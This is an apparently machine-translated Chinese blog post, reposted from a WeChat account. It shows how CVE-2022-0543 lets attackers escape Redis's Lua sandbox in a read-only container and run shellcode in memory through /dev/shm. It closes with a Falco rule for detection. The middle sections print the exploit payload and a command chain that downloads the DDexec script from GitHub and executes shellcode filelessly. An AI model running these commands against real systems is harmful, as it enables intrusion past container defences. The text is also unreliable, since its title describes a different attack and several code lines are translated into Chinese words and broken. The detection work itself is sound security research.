这种新的无文件恶意软件在 Windows 事件日志中隐藏了 Shellcode

容器提供了许多普通主机上不具备的安全特性。其中之一是使容器的根文件系统成为只读的能力。通过使文件系统无法更改，可以防止攻击者将其恶意软件可执行文件写入磁盘。大多数攻击依赖于写入文件才能起作用，但复杂的案例使用无文件恶意软件作为其恶意行为的一部分。防止合法应用程序受到影响也很重要，因此必须小心。

许多人将只读文件系统视为阻止容器化环境中的恶意活动和容器漂移的万能工具。本博客将探讨恶意软件无文件执行在攻击只读容器化环境中的机制和流行程度。

“使用不可变的根文件系统和经过验证的引导机制可防止攻击者通过永久的本地更改“拥有”机器。不可变的根文件系统还可以防止恶意二进制文件写入主机系统。”

本文将演示一种使用只读根文件系统攻击容器的方法，发现使用在内存中执行的无文件恶意软件攻击内存数据存储是合适的。

开始！

设置场景

目标环境是一个易受攻击的最小 ( coreutils + redis) Redis Docker 映像 ( vulhub/redis:5.0.7)，确保传递--read-only标志以确保在攻击中保持无文件。

在 Kubernetes 上，这可以通过spec:containers:securityContext:readOnlyRootFilesystem:true.

有问题的 Redis 服务容易受到Lua 沙盒逃逸CVE-2022-0543的攻击。根据 CVSS 系统，它的评分为 10.0 为 CRITICAL 严重性。

Redis 具有通过“eval”命令在服务器端评估 Lua 脚本的能力。CVE-2022-0543允许攻击者逃离 Lua 代码通常在其中执行的沙箱，这使得直接在主机上执行 shell 命令变得微不足道。Lua 沙盒逃逸是在攻击者加载liblua5.1.so.0共享对象文件（存在于 Redis 主机文件系统中）时执行的，从而可以访问主机。

CVE-2022-0543 带有一个概念验证 (PoC) 漏洞，将通过redis-cli.

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); 
本地 io = io_l(); 
本地 f = io.popen("id", "r"); -- 这是我们在主机上执行的shell命令
local res = f:read("*a"); f：关闭（）；返回资源'0

下面在易受攻击的容器上测试我们的 PoC，滥用 Lua 沙箱逃逸来运行 shell 命令id。

在不接触磁盘的情况下攻击 Redis

首先，验证确实被迫在系统上不创建任何新文件的情况下进行操作。使用touch尝试创建一个文件，然后使用ls来验证是否存在。

本地 f = io.popen("touch", "/tmp/abc123"); -- 这是我们在主机上创建文件的shell命令
本地 f = io.popen("ls", "/tmp/"); -- 这是我们列出主机上文件的shell命令

可以看到的创建尝试不成功，尽管尽了最大努力，但没有文件/tmp/abc123 。

无文件恶意软件 – GTFObins 和 LOLBins

在反取证领域，防止我们的恶意代码接触磁盘可能是一种有效的方式来隐藏它以防止后续调查。如果程序从一开始就没有写入磁盘，那么磁盘取证就不是很有帮助。当然，它仍然容易受到内存取证的影响。在 Windows 和 Linux 上，都存在无文件恶意软件，它们将可执行文件存储在内存中，并通过做一些额外的努力来执行它。

在 Windows 领域，LOLBins（离地二进制文件）已被使用多年，以悄悄实现攻击者的目标（无论是持久性、执行、远程访问等）。这些是 Microsoft 签名的文件，可以是操作系统原生的，也可以是从 Microsoft 下载的，具有额外的“意外”功能。具有合法用途，但也可能被攻击者利用。

例如，攻击者可以使用 certutils.exe 下载恶意软件。Linux 也有类似的安装工具GTF‍Obins，但出于本文的目的，本文将使用一个高级示例。

早在 2004 年，无文件恶意软件技术就已经公开发布，针对 Linux 系统（userland exec (grugq)，Linux code injection without ptrace）。最近，西班牙研究员arget13通过常用的 Linux LOLBin（默认安装为 GNU coreutils的一部分）分享了DDexec ，他们对代码注入的看法。使用ddexec确保在不接触磁盘的情况下执行有效负载（具有不透露进程名称的额外副作用）。 dd

怎么办？我们如何让“恶意”代码进入目标？

/dev/shm 来救援！

输入：shm！嘘——什么？Shm（共享内存的典型简短 Linux 内核开发人员首字母缩写词）！来自cyberciti.biz：

“ shm / shmfs 也称为 tmpfs，它是许多类 Unix 操作系统上临时文件存储设施的通用名称。它旨在显示为已挂载的文件系统，但它使用虚拟内存而不是持久存储设备。”

好的，我们如何使用它？这很简单。GNU coreutils 附带mktemp，这是我们开始所需要的。我们可以使用mktemp的-p标志告诉它在/dev/shm中创建一个临时文件。

让我们这样做，并验证我们的“文件”是否服务于它的目的。我们将利用漏洞利用中的 shell 命令更改id为：

TMPFILE=$(mktemp -p /dev/shm); 
回声“derp”> $TMPFILE；
猫 $TMPFILE

感谢tmpfs和shm，能够在具有只读文件系统的容器内创建“文件”！

让我们开始利用这个漏洞。

• 首先，将创建两个临时文件。一个用于存储脚本（ddsc.sh，DDexec 存储库的一部分，它允许在内存中执行任意 shellcode），另一个用于存储 shellcode（需要一个单独的文件用于 shellcode，因为ddsc.sh期望从文件）。

• 然后，将使用wget从 GitHub 将脚本下载到第一个临时文件，并使用echo将我们的 shellcode 写入第二个。对于概念验证漏洞利用，使用简单地将“ Hello worldn ”打印到标准输出的 shellcode。

DDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm);
wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $DDEXEC;
回声“4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00”> $SHELLCODE；
bash $DDEXEC -x < $SHELLCODE

成功！

• 部署了 Redis 漏洞利用

• 将脚本和shellcode写入两个临时文件

• 使用bash执行脚本，将 shellcode 作为输入

• 规避了多重防御和检测 ( MITRE T1211 ) – 进程列表 ( ps ) 和只读文件系统

使用 Falco 检测内存中的攻击

即使使用–read-only 保护标志，演示了攻击者如何使用无文件恶意软件技术找到新的利用方式。但显然，一切都没有丢失。有一些关键元素可以帮助检测这种恶意行为。让我们看看如何使用Falco实现这种检测。

Falco 是 CNCF 开源项目，用于检测意外的应用程序行为并在运行时发送警报。

可以利用其强大而灵活的规则语言来匹配可疑行为以生成事件警报。它带有一组预定义的规则，但也可以自定义它们或根据需要创建满足需求的新规则。

以下是一个示例 Falco 规则，它将检测上述用于破坏只读根文件系统的技术。

- 规则：从 /dev/shm 执行
  desc：此规则从 /dev/shm 目录检测文件执行，这是威胁参与者存储其可读 + 可写 +（有时）可执行文件的常见位置。
  条件：evt.type=execve and evt.dir=< and ((proc.exe以'/dev/shm'开始或(proc.cwd以/dev/shm开始和proc.exe以./开始))或(proc.name在 (ash,zsh,bash,sh,fish) 和 proc.args 中包含“/dev/shm”))
  输出：“从 /dev/shm 检测到文件执行（proc.cmdline=%proc.cmdline image=%container.image.repository）”
  优先级：警告
  标签：[mitre_execution]

加载这个新的 Falco 规则后，现在能够从 /dev/shm 检测文件的执行并生成警报。

结论

已经证明，在将根文件系统设置为只读的情况下运行的容器与没有设置为只读的容器一样容易受到攻击。只读文件系统无法提供足够的保护来缓解通过无文件恶意软件技术利用的所有漏洞。

多亏了/dev/shm，能够制作由内存而不是磁盘空间支持的“文件”，可以使用这些“文件”来下载其他恶意软件并进一步破坏系统。如果您正在运行现在可用的许多漏洞扫描程序之一识别出的易受攻击的容器，请尽快修补它们。

原文始发于微信公众号（河南等级保护测评）：这种新的无文件恶意软件在 Windows 事件日志中隐藏了 Shellcode